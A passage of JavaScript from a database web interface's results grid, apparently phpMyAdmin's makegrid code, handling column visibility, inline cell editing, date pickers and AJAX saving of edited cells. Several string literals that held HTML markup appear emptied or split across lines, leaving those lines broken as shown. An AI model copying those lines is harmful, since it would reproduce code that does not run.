          ' : ''; text += '- ' + g.copyHint; } } return text; }, /** * Toggle column's visibility. * After calling this function and it returns true, afterToggleCol() must be called. * * @param {number} n * * @return {boolean} True if the column is toggled successfully. */ toggleCol: function (n) { if (g.colVisib[n]) { // can hide if more than one column is visible if (g.visibleHeadersCount > 1) { $(g.t).find('tr').each(function () { $(this).find('th.draggable').eq(n) .add($(this).find('td').eq(g.actionSpan + n)) .hide(); }); g.colVisib[n] = 0; $(g.cList).find('.lDiv div').eq(n).find('input').prop('checked', false); } else { // cannot hide, force the checkbox to stay checked $(g.cList).find('.lDiv div').eq(n).find('input').prop('checked', true); return false; } } else { // column n is not visible $(g.t).find('tr').each(function () { $(this).find('th.draggable').eq(n) .add($(this).find('td').eq(g.actionSpan + n)) .show(); }); g.colVisib[n] = 1; $(g.cList).find('.lDiv div').eq(n).find('input').prop('checked', true); } return true; }, /** * This must be called if toggleCol() returns is true. * * This function is separated from toggleCol because, sometimes, we want to toggle * some columns together at one time and do just one adjustment after it, e.g. in showAllColumns(). */ afterToggleCol: function () { // some adjustments after hiding column g.reposRsz(); g.reposDrop(); g.sendColPrefs(); // check visible first row headers count g.visibleHeadersCount = $(g.t).find('tr').first().find('th.draggable:visible').length; g.refreshRestoreButton(); // Display minimum of one column - disable checkbox for hiding last column if (g.visibleHeadersCount <= 1) { $(g.cList).find('.lDiv div').each(function () { $(this).find('input:checkbox:checked').prop('disabled', true); }); } else { // Remove disabled property if showing more than one column $(g.cList).find('.lDiv div').each(function () { $(this).find('input:checkbox:disabled').prop('disabled', false); }); } }, /** * Show columns' visibility list. * * @param obj The drop down arrow of column visibility list */ showColList: function (obj) { // only show when not resizing or reordering if (!g.colRsz && !g.colReorder) { var pos = $(obj).position(); $(g.cList).css({ top: pos.top + $(obj).outerHeight(true) }) .show(); $(obj).addClass('coldrop-hover'); } }, /** * Hide columns' visibility list. */ hideColList: function () { $(g.cList).hide(); $(g.cDrop).find('.coldrop-hover').removeClass('coldrop-hover'); }, /** * Reposition the column visibility drop-down arrow. */ reposDrop: function () { var $th = $(t).find('th:not(.draggable)'); for (var i = 0; i < $th.length; i++) { var $cd = $(g.cDrop).find('div').eq(i); // column drop-down arrow var pos = $($th[i]).position(); $cd.css({ left: pos.left + $($th[i]).width() - $cd.width(), top: pos.top }); } }, /** * Show all hidden columns. */ showAllColumns: function () { for (var i = 0; i < g.colVisib.length; i++) { if (!g.colVisib[i]) { g.toggleCol(i); } } g.afterToggleCol(); }, /** * Show edit cell, if it can be shown * * @param cell element to be edited */ showEditCell: function (cell) { // destroy the date picker instance left if any, see: #17703 var $datePickerInstance = $(g.cEdit).find('.hasDatepicker'); if ($datePickerInstance.length > 0) { $datePickerInstance.datepicker('destroy'); } if ($(cell).is('.grid_edit') && !g.colRsz && !g.colReorder) { if (!g.isCellEditActive) { var $cell = $(cell); if ('string' === $cell.attr('data-type') || 'blob' === $cell.attr('data-type') || 'json' === $cell.attr('data-type') ) { g.cEdit = g.cEditTextarea; } else { g.cEdit = g.cEditStd; } // remove all edit area and hide it $(g.cEdit).find('.edit_area').empty().hide(); // reposition the cEdit element $(g.cEdit).css({ top: $cell.position().top, left: $cell.position().left }) .show() .find('.edit_box') .css({ width: $cell.outerWidth(), height: $cell.outerHeight() }); // fill the cell edit with text from var value = Functions.getCellValue(cell); if ($cell.attr('data-type') === 'json' && $cell.is('.truncated') === false) { value = Functions.stringifyJSON(value, null, 4); } $(g.cEdit).find('.edit_box').val(value); g.currentEditCell = cell; $(g.cEdit).find('.edit_box').trigger('focus'); moveCursorToEnd($(g.cEdit).find('.edit_box')); $(g.cEdit).find('*').prop('disabled', false); } } function moveCursorToEnd (input) { var originalValue = input.val(); var originallength = originalValue.length; input.val(''); input.trigger('blur').trigger('focus').val(originalValue); input[0].setSelectionRange(originallength, originallength); } }, /** * Remove edit cell and the edit area, if it is shown. * * @param force Optional, force to hide edit cell without saving edited field. * @param data Optional, data from the POST AJAX request to save the edited field * or just specify "true", if we want to replace the edited field with the new value. * @param field Optional, the edited . If not specified, the function will * use currently edited from g.currentEditCell. * @param options Optional, this object contains a boolean named move (true, if called from move* functions) * and a to which the grid_edit should move */ hideEditCell: function (force, data, field, options) { if (g.isCellEditActive && !force) { // cell is being edited, save or post the edited data if (options !== undefined) { g.saveOrPostEditedCell(options); } else { g.saveOrPostEditedCell(); } return; } // cancel any previous request if (g.lastXHR !== null) { g.lastXHR.abort(); g.lastXHR = null; } if (data) { if (g.currentEditCell) { // save value of currently edited cell // replace current edited field with the new value var $thisField = $(g.currentEditCell); var isNull = $thisField.data('value') === null; if (isNull) { $thisField.find('span').html('NULL'); $thisField.addClass('null'); } else { $thisField.removeClass('null'); var value = data.isNeedToRecheck ? data.truncatableFieldValue : $thisField.data('value'); // Truncates the text. $thisField.removeClass('truncated'); if (CommonParams.get('pftext') === 'P' && value.length > g.maxTruncatedLen) { $thisField.addClass('truncated'); value = value.substring(0, g.maxTruncatedLen) + '...'; } // Add
          before carriage return. var newHtml = Functions.escapeHtml(value); newHtml = newHtml.replace(/\n/g, '
          \n'); var decimals = parseInt($thisField.attr('data-decimals')); // remove decimal places if column type not supported if ((decimals === 0) && ($thisField.attr('data-type').indexOf('time') !== -1)) { newHtml = newHtml.substring(0, newHtml.indexOf('.')); } // remove additional decimal places if ((decimals > 0) && ($thisField.attr('data-type').indexOf('time') !== -1)) { newHtml = newHtml.substring(0, newHtml.length - (6 - decimals)); } var selector = 'span'; if ($thisField.hasClass('hex') && $thisField.find('a').length) { selector = 'a'; } // Updates the code keeping highlighting (if any). var $target = $thisField.find(selector); if (!Functions.updateCode($target, newHtml, value)) { $target.html(newHtml); } } if ($thisField.is('.bit')) { $thisField.find('span').text($thisField.data('value')); } } if (data.transformations !== undefined) { $.each(data.transformations, function (cellIndex, value) { var $thisField = $(g.t).find('.to_be_saved').eq(cellIndex); $thisField.find('span').html(value); }); } if (data.relations !== undefined) { $.each(data.relations, function (cellIndex, value) { var $thisField = $(g.t).find('.to_be_saved').eq(cellIndex); $thisField.find('span').html(value); }); } // refresh the grid g.reposRsz(); g.reposDrop(); } // hide the cell editing area $(g.cEdit).hide(); $(g.cEdit).find('.edit_box').trigger('blur'); g.isCellEditActive = false; g.currentEditCell = null; // destroy datepicker in edit area, if exist var $dp = $(g.cEdit).find('.hasDatepicker'); if ($dp.length > 0) { // eslint-disable-next-line no-underscore-dangle $(document).on('mousedown', $.datepicker._checkExternalClick); $dp.datepicker('refresh'); // change the cursor in edit box back to normal // (the cursor become a hand pointer when we add datepicker) $(g.cEdit).find('.edit_box').css('cursor', 'inherit'); } }, /** * Show drop-down edit area when edit cell is focused. */ showEditArea: function () { if (!g.isCellEditActive) { // make sure the edit area has not been shown g.isCellEditActive = true; g.isEditCellTextEditable = false; /** * @var $td current edited cell */ var $td = $(g.currentEditCell); /** * @var $editArea the editing area */ var $editArea = $(g.cEdit).find('.edit_area'); /** * @var whereClause WHERE clause for the edited cell */ var whereClause = $td.parent('tr').find('.where_clause').val(); /** * @var fieldName String containing the name of this field. * @see Sql.getFieldName() */ var fieldName = Sql.getFieldName($(t), $td); /** * @var relationCurrValue String current value of the field (for fields that are foreign keyed). */ var relationCurrValue = $td.text(); /** * @var relationKeyOrDisplayColumn String relational key if in 'Relational display column' mode, * relational display column if in 'Relational key' mode (for fields that are foreign keyed). */ var relationKeyOrDisplayColumn = $td.find('a').attr('title'); /** * @var currValue String current value of the field (for fields that are of type enum or set). */ var currValue = $td.find('span').text(); // empty all edit area, then rebuild it based on $td classes $editArea.empty(); // remember this instead of testing more than once var isNull = $td.is('.null'); // add goto link, if this cell contains a link if ($td.find('a').length > 0) { var gotoLink = document.createElement('div'); gotoLink.className = 'goto_link'; $(gotoLink).append(g.gotoLinkText + ' ').append($td.find('a').clone()); $editArea.append(gotoLink); } g.wasEditedCellNull = false; if ($td.is(':not(.not_null)')) { // append a null checkbox $editArea.append('
          '); var $checkbox = $editArea.find('.null_div input'); // check if current is NULL if (isNull) { $checkbox.prop('checked', true); g.wasEditedCellNull = true; } // if the select/editor is changed un-check the 'checkbox_null__'. if ($td.is('.enum, .set')) { $editArea.on('change', 'select', function () { $checkbox.prop('checked', false); }); } else if ($td.is('.relation')) { $editArea.on('change', 'select', function () { $checkbox.prop('checked', false); }); $editArea.on('click', '.browse_foreign', function () { $checkbox.prop('checked', false); }); } else { $(g.cEdit).on('keypress change paste', '.edit_box', function () { $checkbox.prop('checked', false); }); // Capture ctrl+v (on IE and Chrome) $(g.cEdit).on('keydown', '.edit_box', function (e) { if (e.ctrlKey && e.which === 86) { $checkbox.prop('checked', false); } }); $editArea.on('keydown', 'textarea', function () { $checkbox.prop('checked', false); }); } // if some text is written in textbox automatically unmark the null checkbox and if it is emptied again mark the checkbox. $(g.cEdit).find('.edit_box').on('input', function () { if ($(g.cEdit).find('.edit_box').val() !== '') { $checkbox.prop('checked', false); } else { $checkbox.prop('checked', true); } }); // if null checkbox is clicked empty the corresponding select/editor. $checkbox.on('click', function () { if ($td.is('.enum')) { $editArea.find('select').val(''); } else if ($td.is('.set')) { $editArea.find('select').find('option').each(function () { var $option = $(this); $option.prop('selected', false); }); } else if ($td.is('.relation')) { // if the dropdown is there to select the foreign value if ($editArea.find('select').length > 0) { $editArea.find('select').val(''); } } else { $editArea.find('textarea').val(''); } $(g.cEdit).find('.edit_box').val(''); }); } // reset the position of the edit_area div after closing datetime picker $(g.cEdit).find('.edit_area').css({ 'top' :'0','position':'' }); var postParams; if ($td.is('.relation')) { // handle relations $editArea.addClass('edit_area_loading'); // initialize the original data $td.data('original_data', null); /** * @var postParams Object containing parameters for the POST request */ postParams = { 'ajax_request' : true, 'server' : g.server, 'db' : g.db, 'table' : g.table, 'column' : fieldName, 'curr_value' : relationCurrValue, 'relation_key_or_display_column' : relationKeyOrDisplayColumn }; g.lastXHR = $.post('index.php?route=/sql/get-relational-values', postParams, function (data) { g.lastXHR = null; $editArea.removeClass('edit_area_loading'); if ($(data.dropdown).is('select')) { // save original_data var value = $(data.dropdown).val(); $td.data('original_data', value); // update the text input field, in case where the "Relational display column" is checked $(g.cEdit).find('.edit_box').val(value); } $editArea.append(data.dropdown); $editArea.append('
          ' + g.cellEditHint + '
          '); // for 'Browse foreign values' options, // hide the value next to 'Browse foreign values' link $editArea.find('span.curr_value').hide(); // handle update for new values selected from new window $editArea.find('span.curr_value').on('change', function () { $(g.cEdit).find('.edit_box').val($(this).text()); }); }); // end $.post() $editArea.show(); $editArea.on('change', 'select', function () { $(g.cEdit).find('.edit_box').val($(this).val()); }); g.isEditCellTextEditable = true; } else if ($td.is('.enum')) { // handle enum fields $editArea.addClass('edit_area_loading'); /** * @var postParams Object containing parameters for the POST request */ postParams = { 'ajax_request' : true, 'server' : g.server, 'db' : g.db, 'table' : g.table, 'column' : fieldName, 'curr_value' : currValue }; g.lastXHR = $.post('index.php?route=/sql/get-enum-values', postParams, function (data) { g.lastXHR = null; if (typeof data === 'object' && data.success === false) { Functions.ajaxShowMessage(data.error, undefined, 'error'); return; } $editArea.removeClass('edit_area_loading'); $editArea.append(data.dropdown); $editArea.append('
          ' + g.cellEditHint + '
          '); }); // end $.post() $editArea.show(); $editArea.on('change', 'select', function () { $(g.cEdit).find('.edit_box').val($(this).val()); }); } else if ($td.is('.set')) { // handle set fields $editArea.addClass('edit_area_loading'); // if the data is truncated, get the full data if ($td.is('.truncated')) { postParams = { 'ajax_request': true, 'server': g.server, 'db': g.db, 'table': g.table, 'column': fieldName, 'curr_value': currValue, 'get_full_values': true, 'where_clause': whereClause }; } else { postParams = { 'ajax_request': true, 'server': g.server, 'db': g.db, 'table': g.table, 'column': fieldName, 'curr_value': currValue }; } g.lastXHR = $.post('index.php?route=/sql/get-set-values', postParams, function (data) { g.lastXHR = null; if (typeof data === 'object' && data.success === false) { Functions.ajaxShowMessage(data.error, undefined, 'error'); return; } $editArea.removeClass('edit_area_loading'); $editArea.append(data.select); $td.data('original_data', $(data.select).val().join()); $editArea.append('
          ' + g.cellEditHint + '
          '); }); // end $.post() $editArea.show(); $editArea.on('change', 'select', function () { $(g.cEdit).find('.edit_box').val($(this).val()); }); } else if ($td.is('.truncated, .transformed')) { if ($td.is('.to_be_saved')) { // cell has been edited var value = $td.data('value'); $(g.cEdit).find('.edit_box').val(value); $editArea.append(''); $editArea.find('textarea').val(value); $editArea .on('keyup', 'textarea', function () { $(g.cEdit).find('.edit_box').val($(this).val()); }); $(g.cEdit).on('keyup', '.edit_box', function () { $editArea.find('textarea').val($(this).val()); }); $editArea.append('
          ' + g.cellEditHint + '
          '); } else { // handle truncated/transformed values values $editArea.addClass('edit_area_loading'); // initialize the original data $td.data('original_data', null); /** * @var sqlQuery String containing the SQL query used to retrieve value of truncated/transformed data */ var sqlQuery = 'SELECT `' + fieldName + '` FROM `' + g.table + '` WHERE ' + whereClause; // Make the Ajax call and get the data, wrap it and insert it g.lastXHR = $.post('index.php?route=/sql', { 'server' : g.server, 'db' : g.db, 'ajax_request' : true, 'sql_query' : sqlQuery, 'grid_edit' : true }, function (data) { g.lastXHR = null; $editArea.removeClass('edit_area_loading'); if (typeof data !== 'undefined' && data.success === true) { if ($td.attr('data-type') === 'json') { data.value = Functions.stringifyJSON(data.value, null, 4); } $td.data('original_data', data.value); $(g.cEdit).find('.edit_box').val(data.value); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } g.isEditCellTextEditable = true; } else if ($td.is('.timefield, .datefield, .datetimefield, .timestampfield')) { var $inputField = $(g.cEdit).find('.edit_box'); // remember current datetime value in $input_field, if it is not null var datetimeValue = !isNull ? $inputField.val() : ''; var showMillisec = false; var showMicrosec = false; var timeFormat = 'HH:mm:ss'; // check for decimal places of seconds if (($td.attr('data-decimals') > 0) && ($td.attr('data-type').indexOf('time') !== -1)) { if (datetimeValue && datetimeValue.indexOf('.') === false) { datetimeValue += '.'; } if ($td.attr('data-decimals') > 3) { showMillisec = true; showMicrosec = true; timeFormat = 'HH:mm:ss.lc'; if (datetimeValue) { datetimeValue += '000000'; datetimeValue = datetimeValue.substring(0, datetimeValue.indexOf('.') + 7); $inputField.val(datetimeValue); } } else { showMillisec = true; timeFormat = 'HH:mm:ss.l'; if (datetimeValue) { datetimeValue += '000'; datetimeValue = datetimeValue.substring(0, datetimeValue.indexOf('.') + 4); $inputField.val(datetimeValue); } } } // add datetime picker Functions.addDatepicker($inputField, $td.attr('data-type'), { showMillisec: showMillisec, showMicrosec: showMicrosec, timeFormat: timeFormat, firstDay: firstDayOfCalendar }); $inputField.on('keyup', function (e) { if (e.which === 13) { // post on pressing "Enter" e.preventDefault(); e.stopPropagation(); g.saveOrPostEditedCell(); } else if (e.which !== 27) { Functions.toggleDatepickerIfInvalid($td, $inputField); } }); $inputField.datepicker('show'); Functions.toggleDatepickerIfInvalid($td, $inputField); // unbind the mousedown event to prevent the problem of // datepicker getting closed, needs to be checked for any // change in names when updating // eslint-disable-next-line no-underscore-dangle $(document).off('mousedown', $.datepicker._checkExternalClick); // move ui-datepicker-div inside cEdit div var datepickerDiv = $('#ui-datepicker-div'); datepickerDiv.css({ 'top': 0, 'left': 0, 'position': 'relative' }); $(g.cEdit).append(datepickerDiv); // cancel any click on the datepicker element $editArea.find('> *').on('click', function (e) { e.stopPropagation(); }); g.isEditCellTextEditable = true; } else { g.isEditCellTextEditable = true; // only append edit area hint if there is a null checkbox if ($editArea.children().length > 0) { $editArea.append('
          ' + g.cellEditHint + '
          '); } } if ($editArea.children().length > 0) { $editArea.show(); } } }, /** * Post the content of edited cell. * * @param options Optional, this object contains a boolean named move (true, if called from move* functions) * and a to which the grid_edit should move */ postEditedCell: function (options) { if (g.isSaving) { return; } g.isSaving = true; /** * @var relationFields Array containing the name/value pairs of relational fields */ var relationFields = {}; /** * @var relationalDisplay string 'K' if relational key, 'D' if relational display column */ var relationalDisplay = $(g.o).find('input[name=relational_display]:checked').val(); /** * @var transformFields Array containing the name/value pairs for transformed fields */ var transformFields = {}; /** * @var transformationFields Boolean, if there are any transformed fields in the edited cells */ var transformationFields = false; /** * @var fullSqlQuery String containing the complete SQL query to update this table */ var fullSqlQuery = ''; /** * @var relFieldsList String, url encoded representation of {@link relations_fields} */ var relFieldsList = ''; /** * @var transformFieldsList String, url encoded representation of {@link transformFields} */ var transformFieldsList = ''; /** * @var fullWhereClause Array containing where clause for updated fields */ var fullWhereClause = []; /** * @var isUnique Boolean, whether the rows in this table is unique or not */ var isUnique = $(g.t).find('td.edit_row_anchor').is('.nonunique') ? 0 : 1; /** * multi edit variables */ var multiEditFieldsName = []; var multiEditFieldsType = []; var multiEditFields = []; var multiEditFieldsNull = []; // alert user if edited table is not unique if (!isUnique) { alert(g.alertNonUnique); } // loop each edited row $(g.t).find('td.to_be_saved').parents('tr').each(function () { var $tr = $(this); var whereClause = $tr.find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } fullWhereClause.push(whereClause); var conditionArray = JSON.parse($tr.find('.condition_array').val()); /** * multi edit variables, for current row * @TODO array indices are still not correct, they should be md5 of field's name */ var fieldsName = []; var fieldsType = []; var fields = []; var fieldsNull = []; // loop each edited cell in a row $tr.find('.to_be_saved').each(function () { /** * @var $thisField Object referring to the td that is being edited */ var $thisField = $(this); /** * @var fieldName String containing the name of this field. * @see Sql.getFieldName() */ var fieldName = Sql.getFieldName($(g.t), $thisField); /** * @var thisFieldParams Array temporary storage for the name/value of current field */ var thisFieldParams = {}; if ($thisField.is('.transformed')) { transformationFields = true; } thisFieldParams[fieldName] = $thisField.data('value'); /** * @var isNull String capturing whether 'checkbox_null__' is checked. */ var isNull = thisFieldParams[fieldName] === null; fieldsName.push(fieldName); if (isNull) { fieldsNull.push('on'); fields.push(''); } else { if ($thisField.is('.bit')) { fieldsType.push('bit'); } else if ($thisField.hasClass('hex')) { fieldsType.push('hex'); } fieldsNull.push(''); if ($thisField.attr('data-type') !== 'json') { fields.push($thisField.data('value')); } else { const JSONString = Functions.stringifyJSON($thisField.data('value')); fields.push(JSONString); } var cellIndex = $thisField.index('.to_be_saved'); if ($thisField.is(':not(.relation, .enum, .set, .bit)')) { if ($thisField.is('.transformed')) { transformFields[cellIndex] = {}; $.extend(transformFields[cellIndex], thisFieldParams); } } else if ($thisField.is('.relation')) { relationFields[cellIndex] = {}; $.extend(relationFields[cellIndex], thisFieldParams); } } // check if edited field appears in WHERE clause if (whereClause.indexOf(Sql.urlEncode(fieldName)) > -1) { var fieldStr = '`' + g.table + '`.' + '`' + fieldName + '`'; for (var field in conditionArray) { if (field.indexOf(fieldStr) > -1) { conditionArray[field] = isNull ? 'IS NULL' : '= \'' + thisFieldParams[fieldName].replace(/'/g, '\'\'') + '\''; break; } } } }); // end of loop for every edited cells in a row // save new_clause var newClause = ''; for (var field in conditionArray) { newClause += field + ' ' + conditionArray[field] + ' AND '; } newClause = newClause.substring(0, newClause.length - 5); // remove the last AND $tr.data('new_clause', newClause); // save condition_array $tr.find('.condition_array').val(JSON.stringify(conditionArray)); multiEditFieldsName.push(fieldsName); multiEditFieldsType.push(fieldsType); multiEditFields.push(fields); multiEditFieldsNull.push(fieldsNull); }); // end of loop for every edited rows relFieldsList = $.param(relationFields); transformFieldsList = $.param(transformFields); // Make the Ajax post after setting all parameters /** * @var postParams Object containing parameters for the POST request */ var postParams = { 'ajax_request' : true, 'sql_query' : fullSqlQuery, 'server' : g.server, 'db' : g.db, 'table' : g.table, 'clause_is_unique' : isUnique, 'where_clause' : fullWhereClause, 'fields[multi_edit]' : multiEditFields, 'fields_name[multi_edit]' : multiEditFieldsName, 'fields_type[multi_edit]' : multiEditFieldsType, 'fields_null[multi_edit]' : multiEditFieldsNull, 'rel_fields_list' : relFieldsList, 'do_transformations' : transformationFields, 'transform_fields_list' : transformFieldsList, 'relational_display' : relationalDisplay, 'goto' : encodeURIComponent('index.php?route=/sql'), 'submit_type' : 'save' }; if (!g.saveCellsAtOnce) { $(g.cEdit).find('*').prop('disabled', true); $(g.cEdit).find('.edit_box').addClass('edit_box_posting'); } else { $(g.o).find('div.save_edited').addClass('saving_edited_data') .find('input').prop('disabled', true); // disable the save button } $.ajax({ type: 'POST', url: 'index.php?route=/table/replace', data: postParams, success: function (data) { g.isSaving = false; if (!g.saveCellsAtOnce) { $(g.cEdit).find('*').prop('disabled', false); $(g.cEdit).find('.edit_box').removeClass('edit_box_posting'); } else { $(g.o).find('div.save_edited').removeClass('saving_edited_data') .find('input').prop('disabled', false); // enable the save button back } if (typeof data !== 'undefined' && data.success === true) { if (typeof options === 'undefined' || ! options.move) { Functions.ajaxShowMessage(data.message); } // update where_clause related data in each edited row $(g.t).find('td.to_be_saved').parents('tr').each(function () { var newClause = $(this).data('new_clause'); var $whereClause = $(this).find('.where_clause'); var oldClause = $whereClause.val(); var decodedOldClause = oldClause; var decodedNewClause = newClause; $whereClause.val(newClause); // update Edit, Copy, and Delete links also $(this).find('a').each(function () { $(this).attr('href', $(this).attr('href').replace(oldClause, newClause)); // update delete confirmation in Delete link if ($(this).attr('href').indexOf('DELETE') > -1) { $(this).removeAttr('onclick') .off('click') .on('click', function () { return Functions.confirmLink(this, 'DELETE FROM `' + g.db + '`.`' + g.table + '` WHERE ' + decodedNewClause + (isUnique ? '' : ' LIMIT 1')); }); } }); // update the multi edit checkboxes $(this).find('input[type=checkbox]').each(function () { var $checkbox = $(this); var checkboxName = $checkbox.attr('name'); var checkboxValue = $checkbox.val(); $checkbox.attr('name', checkboxName.replace(oldClause, newClause)); $checkbox.val(checkboxValue.replace(decodedOldClause, decodedNewClause)); }); }); // update the display of executed SQL query command if (typeof data.sql_query !== 'undefined') { // extract query box var $resultQuery = $($.parseHTML(data.sql_query)); var sqlOuter = $resultQuery.find('.sqlOuter').wrap('

          ').parent().html(); var tools = $resultQuery.find('.tools').wrap('

          ').parent().html(); // sqlOuter and tools will not be present if 'Show SQL queries' configuration is off if (typeof sqlOuter !== 'undefined' && typeof tools !== 'undefined') { $(g.o).find('.result_query').not($(g.o).find('.result_query').last()).remove(); var $existingQuery = $(g.o).find('.result_query'); // If two query box exists update query in second else add a second box if ($existingQuery.find('div.sqlOuter').length > 1) { $existingQuery.children().eq(3).remove(); $existingQuery.children().eq(3).remove(); $existingQuery.append(sqlOuter + tools); } else { $existingQuery.append(sqlOuter + tools); } Functions.highlightSql($existingQuery); } } // hide and/or update the successfully saved cells g.hideEditCell(true, data); // remove the "Save edited cells" button $(g.o).find('div.save_edited').hide(); // update saved fields $(g.t).find('.to_be_saved') .removeClass('to_be_saved') .data('value', null) .data('original_data', null); g.isCellEdited = false; } else { Functions.ajaxShowMessage(data.error, false); if (!g.saveCellsAtOnce) { $(g.t).find('.to_be_saved') .removeClass('to_be_saved'); } } } }).done(function () { if (options !== undefined && options.move) { g.showEditCell(options.cell); } }); // end $.ajax() }, /** * Save edited cell, so it can be posted later. * * @return {bool} */ saveEditedCell: function () { /** * @var $thisField Object referring to the td that is being edited */ var $thisField = $(g.currentEditCell); var $testElement = ''; // to test the presence of a element var needToPost = false; /** * @var fieldName String containing the name of this field. * @see Sql.getFieldName() */ var fieldName = Sql.getFieldName($(g.t), $thisField); /** * @var thisFieldParams Array temporary storage for the name/value of current field */ var thisFieldParams = {}; /** * @var isNull String capturing whether 'checkbox_null__' is checked. */ var isNull = $(g.cEdit).find('input:checkbox').is(':checked'); if ($(g.cEdit).find('.edit_area').is('.edit_area_loading')) { // the edit area is still loading (retrieving cell data), no need to post needToPost = false; } else if (isNull) { if (!g.wasEditedCellNull) { thisFieldParams[fieldName] = null; needToPost = true; } } else { if ($thisField.is('.bit')) { thisFieldParams[fieldName] = $(g.cEdit).find('.edit_box').val(); } else if ($thisField.is('.set')) { $testElement = $(g.cEdit).find('select'); thisFieldParams[fieldName] = $testElement.map(function () { return $(this).val(); }).get().join(','); } else if ($thisField.is('.relation, .enum')) { // for relation and enumeration, take the results from edit box value, // because selected value from drop-down, new window or multiple // selection list will always be updated to the edit box thisFieldParams[fieldName] = $(g.cEdit).find('.edit_box').val(); } else if ($thisField.hasClass('hex')) { if ($(g.cEdit).find('.edit_box').val().match(/^(0x)?[a-f0-9]*$/i) !== null) { thisFieldParams[fieldName] = $(g.cEdit).find('.edit_box').val(); } else { var hexError = '

          '; Functions.ajaxShowMessage(hexError, false); thisFieldParams[fieldName] = Functions.getCellValue(g.currentEditCell); } } else { thisFieldParams[fieldName] = $(g.cEdit).find('.edit_box').val(); } let isValueUpdated; if ($thisField.attr('data-type') !== 'json') { isValueUpdated = thisFieldParams[fieldName] !== Functions.getCellValue(g.currentEditCell); } else { const JSONString = Functions.stringifyJSON(thisFieldParams[fieldName]); isValueUpdated = JSONString !== JSON.stringify(JSON.parse(Functions.getCellValue(g.currentEditCell))); } if (g.wasEditedCellNull || isValueUpdated) { needToPost = true; } } if (needToPost) { $(g.currentEditCell).addClass('to_be_saved') .data('value', thisFieldParams[fieldName]); if (g.saveCellsAtOnce) { $(g.o).find('div.save_edited').show(); } g.isCellEdited = true; } return needToPost; }, /** * Save or post currently edited cell, depending on the "saveCellsAtOnce" configuration. * * @param options Optional, this object contains a boolean named move (true, if called from move* functions) * and a to which the grid_edit should move */ saveOrPostEditedCell: function (options) { var saved = g.saveEditedCell(); // Check if $cfg['SaveCellsAtOnce'] is false if (!g.saveCellsAtOnce) { // Check if need_to_post is true if (saved) { // Check if this function called from 'move' functions if (options !== undefined && options.move) { g.postEditedCell(options); } else { g.postEditedCell(); } // need_to_post is false } else { // Check if this function called from 'move' functions if (options !== undefined && options.move) { g.hideEditCell(true); g.showEditCell(options.cell); // NOT called from 'move' functions } else { g.hideEditCell(true); } } // $cfg['SaveCellsAtOnce'] is true } else { // If need_to_post if (saved) { // If this function called from 'move' functions if (options !== undefined && options.move) { g.hideEditCell(true, true, false, options); g.showEditCell(options.cell); // NOT called from 'move' functions } else { g.hideEditCell(true, true); } } else { // If this function called from 'move' functions if (options !== undefined && options.move) { g.hideEditCell(true, false, false, options); g.showEditCell(options.cell); // NOT called from 'move' functions } else { g.hideEditCell(true); } } } }, /** * Initialize column resize feature. */ initColResize: function () { // create column resizer div g.cRsz = document.createElement('div'); g.cRsz.className = 'cRsz'; // get data columns in the first row of the table var $firstRowCols = $(g.t).find('tr').first().find('th.draggable'); // create column borders $firstRowCols.each(function () { var cb = document.createElement('div'); // column border $(cb).addClass('colborder') .on('mousedown', function (e) { g.dragStartRsz(e, this); }); $(g.cRsz).append(cb); }); g.reposRsz(); // attach to global div $(g.gDiv).prepend(g.cRsz); }, /** * Initialize column reordering feature. */ initColReorder: function () { g.cCpy = document.createElement('div'); // column copy, to store copy of dragged column header g.cPointer = document.createElement('div'); // column pointer, used when reordering column // adjust g.cCpy g.cCpy.className = 'cCpy'; $(g.cCpy).hide(); // adjust g.cPointer g.cPointer.className = 'cPointer'; $(g.cPointer).css('visibility', 'hidden'); // set visibility to hidden instead of calling hide() to force browsers to cache the image in cPointer class // assign column reordering hint g.reorderHint = Messages.strColOrderHint; // get data columns in the first row of the table var $firstRowCols = $(g.t).find('tr').first().find('th.draggable'); // initialize column order var $colOrder = $(g.o).find('.col_order'); // check if column order is passed from PHP var i; if ($colOrder.length > 0) { g.colOrder = $colOrder.val().split(','); for (i = 0; i < g.colOrder.length; i++) { g.colOrder[i] = parseInt(g.colOrder[i], 10); } } else { g.colOrder = []; for (i = 0; i < $firstRowCols.length; i++) { g.colOrder.push(i); } } // register events $(g.t).find('th.draggable') .on('mousedown', function (e) { $(g.o).addClass('turnOffSelect'); if (g.visibleHeadersCount > 1) { g.dragStartReorder(e, this); } }) .on('mouseenter', function () { if (g.visibleHeadersCount > 1) { $(this).css('cursor', 'move'); } else { $(this).css('cursor', 'inherit'); } }) .on('mouseleave', function () { g.showReorderHint = false; $(this).uiTooltip('option', { content: g.updateHint() }); }) .on('dblclick', function (e) { e.preventDefault(); var res = Functions.copyToClipboard($(this).data('column')); if (res) { Functions.ajaxShowMessage(Messages.strCopyColumnSuccess, false, 'success'); } else { Functions.ajaxShowMessage(Messages.strCopyColumnFailure, false, 'error'); } }); $(g.t).find('th.draggable a') .on('dblclick', function (e) { e.stopPropagation(); }); // restore column order when the restore button is clicked $(g.o).find('div.restore_column').on('click', function () { g.restoreColOrder(); }); // attach to global div $(g.gDiv).append(g.cPointer); $(g.gDiv).append(g.cCpy); // prevent default "dragstart" event when dragging a link $(g.t).find('th a').on('dragstart', function () { return false; }); // refresh the restore column button state g.refreshRestoreButton(); }, /** * Initialize column visibility feature. */ initColVisib: function () { g.cDrop = document.createElement('div'); // column drop-down arrows g.cList = document.createElement('div'); // column visibility list // adjust g.cDrop g.cDrop.className = 'cDrop'; // adjust g.cList g.cList.className = 'cList'; $(g.cList).hide(); // assign column visibility related hints g.showAllColText = Messages.strShowAllCol; // get data columns in the first row of the table var $firstRowCols = $(g.t).find('tr').first().find('th.draggable'); var i; // initialize column visibility var $colVisib = $(g.o).find('.col_visib'); // check if column visibility is passed from PHP if ($colVisib.length > 0) { g.colVisib = $colVisib.val().split(','); for (i = 0; i < g.colVisib.length; i++) { g.colVisib[i] = parseInt(g.colVisib[i], 10); } } else { g.colVisib = []; for (i = 0; i < $firstRowCols.length; i++) { g.colVisib.push(1); } } // make sure we have more than one column if ($firstRowCols.length > 1) { var $colVisibTh = $(g.t).find('th:not(.draggable)').slice(0, 1); Functions.tooltip( $colVisibTh, 'th', Messages.strColVisibHint ); // create column visibility drop-down arrow(s) $colVisibTh.each(function () { var cd = document.createElement('div'); // column drop-down arrow $(cd).addClass('coldrop') .on('click', function () { if (g.cList.style.display === 'none') { g.showColList(this); } else { g.hideColList(); } }); $(g.cDrop).append(cd); }); // add column visibility control g.cList.innerHTML = '
